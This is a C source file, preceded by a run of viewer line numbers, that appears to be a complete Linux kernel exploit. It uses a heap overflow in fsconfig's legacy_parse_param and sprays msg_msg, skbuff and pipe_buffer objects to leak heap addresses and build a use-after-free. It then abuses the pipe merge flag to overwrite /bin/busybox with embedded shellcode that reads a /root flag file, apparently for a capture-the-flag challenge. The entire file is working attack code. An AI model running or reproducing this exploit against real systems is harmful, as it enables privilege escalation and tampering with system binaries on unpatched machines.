1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620
| #define _GNU_SOURCE #include <fcntl.h> #include <sched.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h>
#ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #define FSCONFIG_SET_STRING 1 #define fsopen(name, flags) syscall(__NR_fsopen, name, flags) #define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux) #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif
#define logd(fmt, ...) fprintf(stderr, (fmt), ##__VA_ARGS__) #define NUM_MSQIDS_1 (0x400) #define NUM_MSQIDS_2 (0x400) #define MSG_A_RAW_SIZE (0x1400 - 0x8) #define MSG_A_BUFF_SIZE (MSG_A_RAW_SIZE - sizeof(struct msg_msg)) #define MSG_B_RAW_SIZE (0x400) #define MSG_B_BUFF_SIZE (MSG_B_RAW_SIZE - sizeof(struct msg_msg)) #define MTYPE_A (0x41) #define MTYPE_B (0x42) #define MTYPE_FAKE (0x43) #define MSG_SIG (0x13371337) #define NUM_PIPES (0x100) #define NUM_SOCKETS (4) #define NUM_SKBUFFS (0x80)
struct list_head { uint64_t next; uint64_t prev; };
struct msg_msg { struct list_head m_list; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; char mtext[0]; };
struct msg_msgseg { uint64_t next; };
struct typ_msg_a { long mtype; char mtext[MSG_A_BUFF_SIZE]; };
struct typ_msg_a_oob { long mtype; char mtext[MSG_A_BUFF_SIZE + 0x400]; };
struct typ_msg_b { long mtype; char mtext[MSG_B_BUFF_SIZE]; };
unsigned char elfcode[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a, 0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f, 0x99, 0x0f, 0x05, 0xEB };
int sockfd; int sock_pairs[NUM_SOCKETS][2]; int msqid_1[NUM_MSQIDS_1]; int msqid_2[NUM_MSQIDS_2]; struct typ_msg_a msg_a = {0}; struct typ_msg_a_oob msg_a_oob = {0}; struct typ_msg_b msg_b = {0}; int list1_corrupted_msqid = -1; int list2_leak_msqid = -1; int list2_leak_mtype = 0; uint64_t list2_uaf_msg_addr = 0; int list2_uaf_mtype = 0; uint64_t heap_buffer_addr = 0; int dummy_pipe[NUM_PIPES][2];
void z() { logd("waiting...\n"); getchar(); }
void die() { exit(1); }
void hexdump(const void *data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = '\0'; for (i = 0; i < size; ++i) { logd("%02X ", ((unsigned char *)data)[i]); if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') { ascii[i % 16] = ((unsigned char *)data)[i]; } else { ascii[i % 16] = '.'; } if ((i + 1) % 8 == 0 || i + 1 == size) { logd(" "); if ((i + 1) % 16 == 0) { logd("| %s \n", ascii); } else if (i + 1 == size) { ascii[(i + 1) % 16] = '\0'; if ((i + 1) % 16 <= 8) { logd(" "); } for (j = (i + 1) % 16; j < 16; ++j) { logd(" "); } logd("| %s \n", ascii); } } } }
void init_unshare() { int fd; char buff[0x100];
unshare(CLONE_NEWNS | CLONE_NEWUSER);
fd = open("/proc/self/setgroups", O_WRONLY); snprintf(buff, sizeof(buff), "deny"); write(fd, buff, strlen(buff)); close(fd);
fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getuid()); write(fd, buff, strlen(buff)); close(fd);
fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getgid()); write(fd, buff, strlen(buff)); close(fd); }
void init_msq() { for (int i = 0; i < NUM_MSQIDS_1; i++) { msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (msqid_1[i] < 0) { logd("[-] msgget() fail\n"); die(); } } for (int i = 0; i < NUM_MSQIDS_2; i++) { msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (msqid_2[i] < 0) { logd("[-] msgget() fail\n"); die(); } } }
void init_sock() { sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { logd("[-] socket() fail\n"); die(); }
for (int i = 0; i < NUM_SOCKETS; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) { logd("[-] socketpair() fail\n"); die(); } } }
void clean_msq_1() { for (int i = 0; i < NUM_MSQIDS_1; i++) { msgrcv(msqid_1[i], &msg_a, sizeof(msg_a.mtext), MTYPE_A, IPC_NOWAIT); } }
void clean_msq_2() { for (int i = 0; i < NUM_MSQIDS_2; i++) { for (int j = 0; j < 0x10; j++) { msgrcv(msqid_2[i], &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT); } } }
void clean_pipe() { for (int i = 0; i < NUM_PIPES; i++) { char buffer[0x100]; read(dummy_pipe[i][0], buffer, 0x100); close(dummy_pipe[i][0]); close(dummy_pipe[i][1]); } }
void bind_cpu() { cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) { perror("sched_setaffinity"); die(); } }
int call_fsopen() { int fd = fsopen("ext4", 0); if (fd < 0) { perror("fsopen"); die(); } return fd; }
void spray_skbuff_data(void *ptr, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (write(sock_pairs[i][0], ptr, size) < 0) { logd("[-] write to sock pairs failed\n"); die(); } } } }
void free_skbuff_data(void *ptr, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(sock_pairs[i][1], ptr, size) < 0) { logd("[-] read from sock pairs failed\n"); die(); } } } }
uint64_t exploit_step1(int fd) { char buff[0x1000]; logd("[*] prepare fsconfig heap overflow\n"); for (int i = 0; i < 0xff; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "aaaaaaa", "bbbbbbb", 0); } fsconfig(fd, FSCONFIG_SET_STRING, "cccccccc", "ddddd", 0);
logd("[*] sparying msg_msg ...\n"); for (int i = 0; i < NUM_MSQIDS_1; i++) { memset(&msg_a, 0, sizeof(msg_a)); msg_a.mtype = MTYPE_A; memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext)); ((int *)&msg_a.mtext)[0] = MSG_SIG; ((int *)&msg_a.mtext)[1] = i; if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) { logd("[-] msgsnd() fail\n"); die(); } }
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts\n"); memset(buff, 0, sizeof(buff)); strcat(buff, "0000000"); strcat(buff, "11111111"); strcat(buff, "22222222"); uint64_t target_size = sizeof(msg_a_oob.mtext); memcpy(buff + strlen(buff), &target_size, 2);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
logd("[*] search corrupted msg_msg ...\n"); for (int i = 0; i < NUM_MSQIDS_1; i++) { ssize_t copy_size = msgrcv(msqid_1[i], &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT); if (copy_size < 0) { continue; } if (copy_size == sizeof(msg_a_oob.mtext)) { logd("[+] corrupted msg_msg found, id: %d\n", msqid_1[i]); list1_corrupted_msqid = msqid_1[i]; msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext)); size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext); if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { logd("[!] but the next object is not allocated by msg_msgseg\n"); } break; } } if (list1_corrupted_msqid < 0) { logd("[!] can't found corrupted msg_msg, and kernel may crash :(\n"); clean_msq_1(); return 1; }
logd("[*] clean unused msg_msg ...\n"); clean_msq_1();
logd("[*] alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...\n"); for (int i = 0; i < NUM_MSQIDS_2; i++) { memset(&msg_b, 0, sizeof(msg_b)); memset(msg_b.mtext, 'W', sizeof(msg_b.mtext)); ((int *)&msg_b.mtext)[0] = MSG_SIG; ((int *)&msg_b.mtext)[1] = i; for (int j = 0; j < 0x10; j++) { msg_b.mtype = MTYPE_B | (j << 8); if (msgsnd(msqid_2[i], &msg_b, sizeof(msg_b.mtext), 0) < 0) { logd("[-] msgsnd() fail\n"); die(); } } }
{ ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT); if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) { logd("[-] recv from corrupted msg_msg failed\n"); die(); } uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext)); size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext); struct msg_msg *p = (struct msg_msg *)oob_data; if (((int *)&p->mtext)[0] != MSG_SIG) { logd("[-] bad luck, we don't catch 0x400 msg_msg\n"); clean_msq_2(); return 1; } logd("[*] it works :)\n");
list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]]; list2_leak_mtype = p->m_type; list2_uaf_msg_addr = p->m_list.prev; list2_uaf_mtype = p->m_type - 0x0100; msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); hexdump(msg_a_oob.mtext + sizeof(msg_a.mtext), 0x40); logd("[+] leak list2_leak_msqid: %d\n", list2_leak_msqid); logd("[+] leak list2_leak_mtype: 0x%x\n", list2_leak_mtype); logd("[+] leak list2_uaf_msg_addr: 0x%lx\n", list2_uaf_msg_addr); logd("[+] leak list2_uaf_mtype: 0x%x\n", list2_uaf_mtype); }
logd("[*] alloc msg_msg as heap buffer with known address\n"); { for (int j = ((list2_leak_mtype + 0x100) >> 8); j < 0x10; j++) { msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT); } memset(buff, 0, sizeof(buff)); struct msg_msg *p = (struct msg_msg *)buff; p->m_list.next = list2_uaf_msg_addr; p->m_list.prev = 0xdeadbeefdeadbeef; p->m_type = MTYPE_A;
memset(&msg_b, 0, sizeof(msg_b)); memcpy(msg_b.mtext, buff, sizeof(msg_b.mtext)); msg_b.mtype = MTYPE_B; if (msgsnd(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), 0) < 0) { logd("[-] msgsnd() fail\n"); die(); } }
logd("[*] fetch heap_buffer address by oob read again\n"); { ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT); if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) { logd("[-] Recv from corrupted msg_msg failed\n"); die(); } uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext)); size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext); struct msg_msg *p = (struct msg_msg *)oob_data; if (((int *)&p->mtext)[0] != MSG_SIG) { logd("[-] I don't think this can happen\n"); die(); } heap_buffer_addr = p->m_list.next + sizeof(struct msg_msg); logd("[+] heap_buffer_addr: 0x%lx\n", heap_buffer_addr); if (strlen((char *)&heap_buffer_addr) < 8) { logd("[-] pointer can't contain 0x00 bytes\n"); die(); } }
logd("[*] clean unused msg_msg ...\n"); clean_msq_2();
return 0; }
int exploit_step2(int fd) { char buff[0x1000];
logd("[*] prepare fsconfig heap overflow\n"); for (int i = 0; i < 0xff; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "aaaaaaa", "bbbbbbb", 0); } fsconfig(fd, FSCONFIG_SET_STRING, "cccccccc", "ddddd", 0);
logd("[*] sparying msg_msg ...\n"); for (int i = 0; i < NUM_MSQIDS_1; i++) { memset(&msg_a, 0, sizeof(msg_a)); msg_a.mtype = MTYPE_A; memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext)); ((int *)&msg_a.mtext)[0] = MSG_SIG; ((int *)&msg_a.mtext)[1] = i; if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) { logd("[-] msgsnd() fail\n"); die(); } }
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.next\n"); memset(buff, 0, sizeof(buff)); struct msg_msg *p = (struct msg_msg *)buff; p->m_list.next = heap_buffer_addr; p->m_list.prev = 0xdeadbeefdeadbeef; p->m_type = MTYPE_A; fsconfig(fd, FSCONFIG_SET_STRING, buff, "\x00", 0);
logd("[*] free uaf msg_msg from correct msqid\n"); if (msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), list2_uaf_mtype, 0) < 0) { logd("[-] msgrcv() fail\n"); die(); }
logd("[*] spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg\n"); { memset(buff, 0, sizeof(buff)); struct msg_msg *p = (struct msg_msg *)buff; p->m_list.next = heap_buffer_addr + 0x80; p->m_list.prev = heap_buffer_addr + 0x80; p->m_ts = 0x100; p->m_type = MTYPE_FAKE; p->next = 0; p->security = 0; spray_skbuff_data(buff, 0x400 - 0x140); }
logd("[*] free skbuff_data using fake msqid\n"); for (int i = 0; i < NUM_MSQIDS_1; i++) { if (msgrcv(msqid_1[i], &msg_b, sizeof(msg_b.mtext), MTYPE_FAKE, IPC_NOWAIT) > 0) { logd("[*] freed using msqid %d\n", i); break; } }
logd("[*] spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data\n"); int busybox = open("/bin/busybox", O_RDONLY); if (busybox < 0) { perror("open busybox"); die(); } for (int i = 0; i < NUM_PIPES; i++) { if (pipe(dummy_pipe[i])) { logd("[-] Alloc pipe failed\n"); die(); }
const unsigned pipe_size = fcntl(dummy_pipe[i][1], F_GETPIPE_SZ); static char tmp_buff[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; write(dummy_pipe[i][1], tmp_buff, n); r -= n; }
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; read(dummy_pipe[i][0], tmp_buff, n); r -= n; }
write(dummy_pipe[i][1], buff, 0x100 + i);
loff_t offset = 1; ssize_t nbytes = splice(busybox, &offset, dummy_pipe[i][1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); die(); } }
logd("[*] free skbuff_data to make pipe_buffer become UAF\n"); int uaf_pipe_idx = 0; char pipe_buffer_backup[0x280]; int PIPE_BUF_FLAG_CAN_MERGE = 0x10; { void *ptr = buff; uint64_t size = 0x400 - 0x140; for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(sock_pairs[i][1], ptr, size) < 0) { logd("[-] read from sock pairs failed\n"); die(); } uint32_t test_size = ((uint32_t *)ptr)[3]; if ((test_size >= 0x100) && (test_size < 0x100 + NUM_PIPES)) { uaf_pipe_idx = test_size - 0x100; logd("[*] uaf_pipe_idx: %d\n", uaf_pipe_idx); memcpy(pipe_buffer_backup, ptr, 0x280); } } } }
logd("[*] edit pipe_buffer->flags\n"); { memset(buff, 0, sizeof(buff)); memcpy(buff, pipe_buffer_backup, 0x280); ((uint64_t *)buff)[6] = 0; ((uint64_t *)buff)[8] = PIPE_BUF_FLAG_CAN_MERGE; spray_skbuff_data(buff, 0x400 - 0x140); }
logd("[*] try to overwrite /bin/busybox\n"); { ssize_t nbytes = write(dummy_pipe[uaf_pipe_idx][1], elfcode, sizeof(elfcode)); if (nbytes < 0) { perror("write failed"); die(); } if ((size_t)nbytes < 2) { fprintf(stderr, "short write\n"); die(); } }
logd("[+] exploit success\n"); return 0; }
int main(void) { int sync_pipe[2]; pipe(sync_pipe);
pid_t pid = fork(); if (!pid) { logd("[+] perform initialization\n"); init_unshare(); bind_cpu(); init_msq(); init_sock();
int fd;
fd = call_fsopen(); logd("[+] perform exploit step1\n"); while (exploit_step1(fd)) { logd("[!] retry step1 ...\n");
close(fd); fd = call_fsopen(); }
fd = call_fsopen(); logd("[+] perform exploit step2\n"); while (exploit_step2(fd)) { logd("[!] retry step2 ...\n");
close(fd); fd = call_fsopen(); }
write(sync_pipe[1], "A", 1); while (1) { sleep(10); } } else { char sync; read(sync_pipe[0], &sync, 1); }
return 0; }
|